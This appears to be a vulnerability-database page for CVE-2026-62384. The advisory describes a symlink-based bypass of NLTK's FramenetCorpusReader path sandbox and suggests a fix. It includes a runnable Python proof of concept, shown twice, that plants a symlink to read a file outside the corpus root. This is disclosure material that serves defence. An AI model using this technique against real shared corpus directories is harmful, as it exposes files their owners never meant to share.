BREW-SAFETY-CVE-2026-62384 (PYSEC-2026-3789)

Vulnerability from osv_homebrew – Published: 2026-09-04 09:59 – Updated: 2026-09-17 17:35 – Source website
VLAI
Summary
NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
Details

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

  • frame_by_name() reads <frame_dir>/<name>.xml
  • _lu_file() reads <lu_dir>/lu<id>.xml
  • doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
  • Core corpus-reader code, not a demo/GUI tool.
  • Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.3",
        "upstream_fixed_in": "3.10.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "safety",
        "purl": "pkg:brew/safety"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.1_1"
            },
            {
              "fixed": "3.8.1_2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.3",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.3"
      }
    ]
  },
  "details": "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`\u0027s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus\u0027s own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n    f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\n        \u0027\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e\u0027\n        \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n        \"\u003c/frame\u003e\"\n    )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}}  # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\")   # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK\u0027s own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581\u0027s own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn\u0027t achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
  "id": "BREW-safety-CVE-2026-62384",
  "modified": "2026-09-17T17:35:56Z",
  "published": "2026-09-04T09:59:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3726"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)",
  "upstream": [
    "PYSEC-2026-3789",
    "CVE-2026-62384",
    "GHSA-f833-7jw8-xwrv"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.